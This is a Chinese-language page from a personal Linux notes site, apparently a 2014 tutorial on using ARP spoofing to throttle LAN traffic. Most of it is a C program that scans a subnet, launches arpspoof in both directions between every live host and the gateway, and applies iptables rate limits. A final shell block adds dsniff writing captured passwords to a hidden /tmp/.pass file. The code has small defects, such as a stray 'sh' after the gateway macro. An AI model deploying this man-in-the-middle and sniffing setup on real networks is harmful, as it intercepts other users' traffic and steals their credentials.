蘋果小豬研究室
  • 首頁
  • 中譯資料
  • 網路觀念
    • OSGi 平台
    • SCTP 通訊協定簡介
      • 1 多重串流 (Multi-streaming)
      • 2 路徑多宿 (Multi-homing)
      • 3 SACK 機制
      • 4 Path MTU Discovery
      • 5 Ordered/Unordered 傳送機制
      • 6. SCTP API
      • 7. TCP 與 SCTP 通訊協定比較
      • 8. 參考文獻
    • TCP over SCTP tunnel
    • TCP 與 SCTP 協定轉換機制
    • UPnP 與 UPnP AV
  • Linux 程式設計
    • [C] 產生亂數
    • [C] Pointer and array
    • [Script] strncmp
    • [C] Linux 取得 HD 序號
    • [C] 程式範例-切割 subnet
    • C struct 的使用
    • C 目錄相關
    • const 修飾詞
    • Dangling pointer(懸置指標)
    • dnsmole
    • dos2unix 程式碼
    • Function pointer in C
    • GCC header limits.h
    • GDB 參數
    • glibc detected (double free)
    • IEEE 754 and float 範例程式
    • kernel 中的網路卡名稱與命名順序關係
    • Linux 序列埠程式設計
    • loop device 的數目
    • Perl & LWP
    • Remote Control over CGI
    • 偵測 NAT 內部主機連線狀況
    • 利用 libpcap 取得所有的網路裝置名稱
    • 取得時間
    • strncpy
    • 從應用層程式取得傳輸層 TCP 資訊
    • 於 Linux 上撰寫 daemon server 要注意的
    • 為什麼需要 & 0377
    • 研究 setsid()
    • 與 HTTP 協定有關的 RFC
    • 製作 patch 檔
    • 設計在背景執行的 Linux 程式
    • 讀取 STDIN (Standard INPUT) 範例程式
    • 關於 Linux CPU smp_affinity
    • 陣列名稱與指標
  • 網路服務推薦
    • 專案管理工具 - clickup
    • 文件大師 - gitbook
  • glibc 中文手冊
    • GNU C 函式庫常見問題(FAQ)
  • Linux 系統操作
    • /proc/sys/net/ipv4/conf/eth* 目錄中的參數
    • Linux 伺服器效能調校
    • Linux 設定網卡速度
    • Proxy ARP
    • sysrq
    • Turn off beep in Linux system
    • umask()
    • 以 ethtool 查看網路卡狀態及設定
    • 使用 nameif 修改 Linux 網路卡名稱
    • 使用 xhost
    • 利用 sed 取出檔案中某行
    • 在 bash 中設定 Proxy server
    • 在 Linux 系統呈現 dd 的進度
    • 字串取代,使用 awk & sed
    • 尋找多種副檔名
    • 常用 VIM 選項
    • 自動 CPU 調頻節能控制
    • 自動執行程式
    • 設定 Debian 預設啟動服務
    • 設定 DHCPd server
    • 透過 RS-232 操作 Linux console
    • Linux connect to serial port
  • 資訊安全
    • ARP spoofing 技術管控區網流量實例
    • dsniff
    • Linux Socket Filtering
    • Linux 系統安全管理
    • Security 資訊
    • sniffer 相關工具 - IPgrad, tcpick
    • 以 Linux 實務 ARP Spoofing
    • 將文字隱藏於 JPEG 圖檔
    • 資安工具
    • 資安相關網站
    • 限制 localhost 的 P2P 上傳流量
  • 實用工具
    • 實驗基本數據製圖指令 gnuplot
  • 交換連結
  • 網頁設定
  • 網路應用
    • 網路時光機
  • Foldng@Home
  • 文獻推薦
    • 電子書
    • 提問的智慧
    • 好書
  • 隱私政策
Powered by GitBook
On this page
Edit on GitHub
  1. 資訊安全

ARP spoofing 技術管控區網流量實例

Aaron Liao, 2014

功能:

1. 控制區域網路流量

2. 先使用 arping 檢察現存的 ARP 回應。

需要的工具:

1. iptables, arping, dsniff

2. 將 arp_spoof 新增到 /etc/crontab,用於動態更新 ARP table

/etc/rc.local:


TEST=`ifconfig|grep 192.168.20.|wc -l`

if [ $TEST -ne 0 ]; then 
    echo $TEST /sbin/arp_spoof;
fi

compile:

$ sudo gcc arp_spoof.c -o /sbin/arp_spoof

#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#define dev "eth0"
#define network "192.168.20."
#define subnet "192.168.20.0/24"
#define gw "192.168.20.1"sh

int detect_arp_alive(char *ip);
int init(void);
int set_local_host(void);
int clean_nf(void);

int set_local_host(void) { 
    system("iptables -I INPUT -d 192.168.20.0/24 -p tcp --sport 80 -m limit --limit 100/second -j ACCEPT"); 
    system("iptables -I INPUT -d 192.168.20.0/24 -p tcp --sport 23 -m limit --limit 50/second -j ACCEPT"); 
    system("iptables -I INPUT -d 192.168.20.0/24 -p tcp --sport 21 -m limit --limit 50/second -j ACCEPT"); 
    system("iptables -I INPUT -d 192.168.20.0/24 -p tcp --sport 20 -m limit --limit 50/second -j ACCEPT"); 
    system("iptables -I INPUT -d 192.168.20.0/24 -p udp --sport 53 -m limit --limit 5/second -j ACCEPT"); 
    system("iptables -A INPUT -d 192.168.20.0/24 -m limit --limit 50/second -j ACCEPT"); 
    system("iptables -I INPUT -p tcp --sport 3389 -j ACCEPT"); 
    system("iptables -A INPUT -d 192.168.20.0/24 -j DROP"); 
    system("iptables -I OUTPUT -s 192.168.20.0/24 -m limit --limit 64/second -j ACCEPT"); 
    system("iptables -I OUTPUT -s 192.168.20.0/24 -p udp --dport 53 -m limit --limit 5/second -j ACCEPT"); 
    system("iptables -I OUTPUT -p tcp --dport 3389 -j ACCEPT"); 
    system("iptables -A OUTPUT -s 192.168.20.0/24 -j DROP"); 
    
    return 0;
}

int detect_arp_alive(char *ip) { 
    char cmd[128]; 
    int i, c; 
    bzero(cmd, sizeof(cmd)); 
    
    // change logic from and to or, PS -w sometimes the unit is us, and sometimes is s 
    sprintf(cmd, "arping -c 1 -w 1 -I %s %s 1>/dev/null 2>/dev/null", dev, ip); 
    
    for(i=0, c=0; i<3; i++) { 
        if(system(cmd)==0) 
            return 0; 
        c++; 
    } 
    
    return c;
}

int clean_nf(void) { 
    system("iptables -F INPUT"); 
    system("iptables -F OUTPUT"); 
    system("iptables -F FORWARD"); 
    system("iptables -P INPUT ACCEPT"); 
    system("iptables -P OUTPUT ACCEPT"); 
    system("iptables -P FORWARD ACCEPT"); 
    
    return 0;
}

int init(void) { 
    system("echo '1' > /proc/sys/net/ipv4/ip_forward"); 
    system("/usr/bin/killall -9 arpspoof"); 
    system("sleep 1"); 
    clean_nf(); 
    set_local_host(); 
    return 0;
}

int main(int argc, char *argv[]) { 
    int ret = 0, i; 
    char ip[15], cmd[128]; 
    
    init(); 
    sprintf(cmd, "iptables -A FORWARD -d %s -m limit --limit 100/second -j ACCEPT", subnet); 
    system(cmd); 
    sprintf(cmd, "iptables -A FORWARD -d %s -p tcp --sport 3389 -j ACCEPT", subnet); 
    system(cmd); 
    sprintf(cmd, "iptables -A FORWARD -s %s -m limit --limit 50/second -j ACCEPT", subnet); 
    system(cmd); 
    sprintf(cmd, "iptables -A FORWARD -s %s -j DROP", subnet); 
    system(cmd); sprintf(cmd, "iptables -A FORWARD -d %s -j DROP", subnet); 
    system(cmd); 
    
    for(i=2;i<254;i++) { 
        /* 2 ~ 253 */ 
        bzero(ip, sizeof(ip)); 
        bzero(cmd, sizeof(cmd)); 
        sprintf(ip, "%s%d", network,i); 
        
        if( detect_arp_alive(ip) == 0 ) { 
            /* limit the rate of the ip */ 
            /* Doing arp spoofing */ 
            sprintf(cmd, "arpspoof -t %s%d %s 1>/dev/null 2>/dev/null &", network, i, gw); 
            system(cmd); 
            
            sprintf(cmd, "arpspoof -t %s %s%d 1>/dev/null 2>/dev/null &", gw, network, i); 
            system(cmd); // limit the Download BW 
            
            sprintf(cmd, "iptables -I FORWARD -d %s%d -m limit --limit 64/second -j ACCEPT", network, i); 
            system(cmd); 
            
            sprintf(cmd, "iptables -I FORWARD -d %s%d -p tcp --sport 1:1024 -m limit --limit 100/second -j ACCEPT", network, i); 
            system(cmd); 
            
            sprintf(cmd, "iptables -I FORWARD -d %s%d -p udp -m limit --limit 50/second -j ACCEPT", network, i); 
            system(cmd); // limit the Upload BW 
            sprintf(cmd, "iptables -I FORWARD -s %s%d -m limit --limit 64/second -j ACCEPT", network, i); 
            system(cmd); 
            sprintf(cmd, "iptables -I FORWARD -s %s%d -p udp --dport 53 -m limit --limit 64/second -j ACCEPT", network, i); 
            system(cmd); 
        }
    } 
    
    return 0;
}

其它資訊:

iptables -A FORWARD -d this_host_IP -j ACCEPT

# Set the host not to response ARP request,
# Other hosts have to previously set static arp list about the MAC of this host theirself.
echo "8" > /proc/sys/net/ipv4/conf/all/arp_ignore;

# enable packet forward
echo "1" > /proc/sys/net/ipv4/ip_forward;

# make ARP spoofing
arpspoof -i eth0 -t this_host_IP gateway &
arpspoof -i eth0 -t gateway this_host_IP &
dsniff -i eth0 -w /tmp/.pass &

# set static ARP
# MAC of the gateway
arp -s gateway (MAC of gateway)

Previous資訊安全Nextdsniff

Last updated 2 years ago